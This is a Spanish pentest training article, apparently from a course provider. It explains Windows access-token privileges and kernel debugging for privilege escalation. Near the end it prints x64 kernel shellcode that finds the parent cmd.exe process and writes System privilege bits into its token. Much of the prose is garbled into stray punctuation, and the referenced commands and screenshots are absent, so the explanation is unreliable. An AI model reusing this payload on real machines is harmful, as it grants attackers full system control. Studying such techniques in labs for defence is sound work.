Tokens de Windows

El experto de OTUS - Alexander Kolesnikov compartió con nosotros un artículo útil, que escribió específicamente para estudiantes del curso "Pentest. Práctica de pruebas de penetración" .









Nosotros, a su vez, invitamos a todos a participar en una lección de demostración gratuita sobre el tema: "Recopilación de información de Windows AD, escalada de privilegios. Exploits y vulnerabilidades de los últimos 5 años".









El artículo anterior discutió cómo los exploits utilizan la técnica de copia de token para escalar privilegios. En este artículo, intentaremos considerar otra técnica para modificar tokens y también intentaremos averiguar cómo se establecen los privilegios que se colocan en el Token principal.





Todos los ejemplos en el artículo son solo para fines informativos, y si desea repetir los experimentos, utilice una máquina virtual, ya que algunas de las acciones pueden dañar su máquina en funcionamiento. Todos los experimentos se realizan únicamente con fines de investigación.





Configuración del banco de pruebas

Para los experimentos, son adecuadas un par de máquinas virtuales que funcionan a través de una red NAT. Dos porque no hay otra forma de depurar el kernel del sistema operativo. Y la red NAT, para que haya símbolos de depuración, es más fácil y rápido buscar datos sin código fuente. La configuración del depurador está disponible en Internet, pero aún debajo habrá un par de líneas como se hace para el sistema operativo Windows 10 1909.





1. Instale el depurador. Para el sistema operativo Windows, solo hay Windbg Preview, instálelo:





2. Transferimos el sistema operativo de destino al modo de depuración:





Reiniciamos el sistema. Y abra la segunda máquina, que contendrá el depurador:





Después de reiniciar el sistema:





Windbg Preview , . . .





Token

, , , Primary Token. , Se* . , , :





  • SeAssignPrimaryToken





  • SeAudit





  • SeBackup





  • SeChangeNotify





  • SeCreateToken





  • SeDebug





  • SeLoadDriver





  • SeLockMemory





  • SeManageVolume





  • SeRestore





  • SeSecurity





  • SeTakeOwnership





, , . , “Security Descriptor”:





System. — dx @$cursession.Processes[4].KernelObject.Token







EXFAST_REF , , :





System:





, “Security Descriptor” , . :





, , :





- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :





BSOD? , . , :





1. , :





2. cmd.exe



:





3. . :





, . - , - Integrity Levels , .





? . , : 0x1







BSOD , , . , , . , - — 0x100000







:





  • SeDebugPrivilege - 0x100000





  • SeAuditPrivilege - 0x200000





  • SeSystemEnvironmentPrivilege - 0x400000





  • SeCreatePermanentPrivilege - 0x010000





  • SeSystemtimePrivilege - 0x001000





  • SeSecurityPrivilege - 0x000100





  • SeLockMemoryPrivilege - 0x000010





, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.





— System , , .





netstat -ab



, . ? . , Windows , System , :





, , payload :





[BITS 64]

start:
mov r9, [gs:0x188]                ;KPROCESS/currentThread
mov r9, [r9+0x220]                ;EPROCESS   KTHREAD
mov r8, [r9+0x3e8]                ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9                           
loop1:
  mov rax, [rax + 0x2f0]       
  sub rax, 0x2f0                    ;KPROCESS
  cmp [rax + 0x2e8],r8              ; ProcessId
  jne loop1                         	  
mov rcx, rax                        ;   PID EPROCESS
add rcx, 0x360                        
mov rax, [rcx]                           
and rax, 0xFFFFFFFFFFFFFFF0
mov r8,  0x1e73deff20               ;System  
mov [rax+0x48],r8                   ; 
ret
      
      




". ".



"Windows AD , . 5 ."













All Articles